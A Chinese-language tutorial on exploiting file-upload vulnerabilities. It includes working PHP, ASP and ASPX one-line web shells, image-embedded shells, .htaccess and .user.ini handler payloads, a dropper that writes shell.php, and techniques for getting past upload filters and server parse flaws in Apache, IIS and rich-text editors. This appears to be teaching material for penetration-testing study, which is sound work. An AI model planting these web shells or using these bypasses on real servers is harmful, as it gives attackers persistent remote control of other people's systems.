文件上传漏洞原理和利用
一句话木马&菜刀原理
一、一句话木马的了解
"一句话木马"服务端(本地存储的脚本木马文件):
就是我们要用来将恶意代码上传到服务器的网站中执行权限,
该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。服务端的代码内容为<?php @eval($_POST['fox']) ?>
其中fox可以自己修改,如:<?php @eval($_POST['cmd']) ?>
"一句话木马"客户端(远程服务器上被插入一句话的asp可执行文件):
用来向服务端提交控制数据的,提交的数据通过服务端构成完整的功能语句并执行,也就是生成我们所需要的木马文件。
好处:一句话木马短小精悍,而且功能强人,隐蔽性非常好。
二、图片一句话木马的制作
因为有些网站他上传的时候检测上传文件的头目录,此时图片一句话的作用就体现出来了。
常试在jpg文件下加上一句话木马:
方法一(使用cmd的copy命令将木马文件和图片合并):
注:/b:二进制;/a:ASCII码
方法二(使用uedit软件):
三、关于脚本格式的的问题
jpg后缀不被php解析,直接显示为图片
四、菜刀的原理(通过解析抓取的数据包)注:可以也可以使用蚁剑
五、补充:常用一句话木马
- php的一句话木马:<?php $_GET[a]($_GET[b]);?> //通过git传输建立连接
- php的一句话木马:<?php @eval($_POST['pass']);?> //通过post传输建立连接
- asp的一句话是:<%eval request ("pass")%>
- aspx的一句话是:<%@ Page Language="Jscript"%><%eval(Request.ltem["pass"], "unsafe");%>
JS+MIME+文件拓展名
JS绕过文件上传
js验证本地上传第一种
- js验证用于客户端本地的验证,所以你如果上传一个不正确的文件格式,它的判断会很快就会显示出来你上传的文件类型不正确(在本地验证,不会发送到服务器,所以如果同时进行抓包就会发现抓不到包)
- js判断代码: onsubmit="return checkFile()",在前端的源码中将其直接删掉,那么这个验证就会失效,或者使用插件直接禁用js
例:
js验证本地上传第二种
尝试在允许上传的格式的文件里添加我们想要上传的文件格式
js验证本地上传第三种
1.拷贝源代码,在本地分析。
⒉尝试删除Java script代码
3.指定在action=""中指定上传地址
js验证本地上传第四种
将我们要上传的文件改名,改为允许上传的文件,然后用burp进行抓包改包
例:

MIME绕过文件上传
MIME:多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
即:服务器判断你上传的什么文件,content-type语句。
例:看下面两个抓包验证部分


可以看到上面的两种文件验证的类型是不一样的,那么如果将类型更改了,就可以正常上传,绕过验证
拓展名限制上传
1、大小写绕过文件上传
更改文件类型后缀的大小写可以绕过,但注意:此方法只适用于Windows服务器,因为Linux会区分大小写,而Windows不区分
例:

2、点、空格绕过文件上传
由于Windows会自动过滤空格和点,那么通过burp suite抓包后添加空格和点后再上传,服务器端会自动将空格和点去除
例:

3、.htaccess文件绕过上传
-
.htaccess文件(或者”分布式配置文件”)提供了针对每个目录改变配置的方法,即:在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。
-
简单来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
-
他的功能有,网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户对目录的访问、禁止目录列表、配置默认文档等
-
.htaccess文件代码1:
<FilesMatch "evil.gif"> SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行 AddHandler php5-script .gif #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行 </FilesMatch\>
注:这里是把conf名字的文件全都以php来运行
- .htaccess文件代码2:
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析为php文件 - 这里需要特殊文件进行创建
- 上传后,使用菜刀进行连接,连接时,访问的是后门文件,而不是.htaccess文件,因为这个文件只是作为配置文件来使用的。
实例:
步骤一:先将.htaccess文件上传

步骤二:上传后门文件(注,这里的后门文件虽然后缀为图片格式,但实际是文本格式,里面是一句话木马)

步骤三:使用菜刀连接后门文件
文件拓展名&文件头验证&IIS6.0
拓展名限制上传
4、php345(345指php版本)文件绕过上传
这里用于绕过检测,同样可以执行上传的文件,例:将php修改为php3以绕过检测,php3这里指php版本3,
注:一般软件都是向下兼容的,php3的代码,php4同样兼容。
5、Windows : : $DATA绕过(只能用于Windows)
Windows下NTFS文件系统有一个特性,即:NTFS文件系统的存储数据流的一个属性 DATA时,就是请求a.php本身的数据,如果a.php还包含了其他的数据流,比如 a.php:lake2.php,请求a.php:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容。
简单来说就是在数据后加上::$DATA绕过
例:
将文件fox.php的文件名改为:fox.php::$DATA以绕过文件上传检测,那么在Windows下的NTFS文件管理系统的机制下会导致实际调用的依然是cmd.php

注:在执行或连接的时候不需要写添加的后缀,只要原文件名即可,此处即:fox.php
6、Apache解析漏洞上传
Apache是从右到左开始判断解析,如果为不可识别解析,就继续往左判断。比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php
例:

成功上传,能够通过菜刀或蚁剑连接:

注:连接时文件路径是原文件路径,此处即:1.php.xxx
7、phtml文件上传
由于phpstudy的安全性,不能解析php345文件,但能够解析phtml的文件格式,所以这里将文件后缀改为:.phtml 再上传即可。
8、.user.ini文件绕过上传

在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有web.jpg。
.user.ini文件内容:
auto_prepend_file=web.jpg #web.jpg是木马文件
特别注意:使用.user.ini的前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了
内容验证文件上传:上传时验证文件头,不同文件类型的文件头是不一样的,哪怕是人为直接更改文件后缀,但依然无法更改文件头
例:
步骤一:在文件种添加允许上传文件类型的文件头信息,并更改文件后缀为对应的文件后缀

步骤二:上传时使用bp进行抓包,更改文件后缀

注:几种图片的文件头:

9、%00截断上传
原理:在C语言中00%表示字符串的结束符号,而PHP是C写的,所以继承了C的特性,所以在PHP中同样判断00%为结束符,后面的内容就不执行了。
POST类:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。
例:

但这样是错误的做法,因为:关于00截断get是可以自动转换的,post需要特殊转换。
所以我们需要将%00转为url格式再进行操作,将其转为url格式:

转换后为:

成功上传:

GET类:自动解码一次,直接url拼接,不需要手工再转码
特别注意:00截断漏洞仅存在于php5.3.4及以下版本
IIS6.0解析漏洞
1、目录解析
以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
比如1.asp/1.jpg,这里1.jpg会被当做asp文件执行
2、文件解析
*.asp;.jpg像这种畸形文件名在“;”后面的直接被忽略,也就是说当成*.asp文件执行。
比如1.asp;1.jpg命名的文件,同样是以asp脚本进行执行。
例:
1、我们先使用目录解析的方法,通过bp抓包添加文件路径:

2、虽然bp显示成功,但我们去靶机的后台观察,发现其实并没有1.asp这个文件路径,这是因为没有创建文件夹的权限,因此此方法无效

3、此时我们使用文件解析的方法,修改bp抓到的包进行上传:

二次渲染
1、先搞个正常图片,上传导出渲染后的图片
2、对比保留部分,在保留部分添加后门代码
3、最后利用提示的文件包含执行图片后门代码
编辑器漏洞&IIS高版本思路
编辑器漏洞
1、编辑器
编辑器属于第三方软件,它的作用就是方便网站管理员上传或者编辑网站上的内容,类似我们电脑上的word文档那样。
2、编辑器分为两种情况
(1)不需要后台验证,可以直接在前台访问且,操作我们可以通过一下方法去找到编辑器:
- 目录爆破(我们可以用御剑去扫描网站上的目录)
- 蜘蛛爬行
(2)需要后台验证,才能操作编辑器
这种情况我们一般要先通过漏洞或其他方法登录后台
3、常用的编辑器有:
FCKeditor、EWEbeditor、CKFinder、UEDITOR、DotNetTextBox、CuteEditor
特别注意:存在以下路径的,一般都是存在编辑器的
4、FCKeditor编辑器漏洞利用
(1)FCKeditor常见上传目录
- FCKeditorleditorlfilemanager/browserldefaultlconnectors/test.html
- FCKeditorleditor/filemanager/upload/test.html
- FCKeditor/editor/filemanager/connectors/test.html
- FCKeditorleditorlfilemanagerlconnectors/uploadtest.html
(2)fck “.” 变 “_” 绕过方法
在高版本fck中,直接上传或抓包修改文件名为a.asp;.jpg,都会将前面的点变成下划线,也就是变成这样:a_asp;.jpg,这样我们的文件名解析就无效果了。
绕过方法
突破建立文件夹(实质就是利用我们iis6的目录解析)

(3)实例

(4)编辑器漏洞利用
1)、找到编辑器
观察编辑器路径的文件名来判断是上面编辑器,如:www.xxxx.com/FCKeditorleditor/filemanager/upload/test.html 这种就是FCK编辑器
2)、确认版本
3)、去搜索该版本的漏洞
5、EWEbeditor编辑器漏洞利用
(1)进后台
eweb编辑器默认数据库地址是:ewebeditor/dblewebeditor.mdb
(2)eweb遍历漏洞
ewebeditorladmin_uploadfile.asp?id=14&dir=../
(3)修改样式表上传文作
IIS高版本思路
1、畸形解析漏洞
- 影响版本:iisT/iis7.5/nginx<0.8.03
- 漏洞产生条件:开启Fast-CGI或php配置文件中开启了cgi.fix_pathinfo(只要是php+iis搭建的网站都会有这个漏洞,因为这是php配置文件的漏洞,高版本iis的都有这个问题)
- 漏洞利用:当我们上传一个名叫1.jpg的图片文件,而这图片文件里面包含了以下代码:
<?php fputs(fopen('shell.php', 'w'),'<?php @eval($_POST['cmd'])?>') ?>
- 这会生成一个叫shell.php的脚本文件,写人我们的一句话,密码为:cmd
- 而我们一句话的位置是:上传的图片文件名字:shell.php
- 如果图片没有被改名,那么现在我们的一句话文件在:1.jpg/shell.php
例:

实操:
步骤一:
创建一个文件,里面写入代码:<?php fputs(fopen('shell.php', 'w'),'<?php @eval($_POST['cmd'])?>') ?>

步骤二:
将创建的文件上传
步骤三:
利用畸形解析漏洞创建url,让上传的文件执行,会创建一个内容为:<?php @eval($_POST['cmd'])?>') ?> 的名为shell.php的文件,这时我们就可以使用菜刀或者蚁剑进行连接


2、aspx文件上传
通过将准备的aspx文件(配置文件)上传以达到绕过限制的目的

浙公网安备 33010602011771号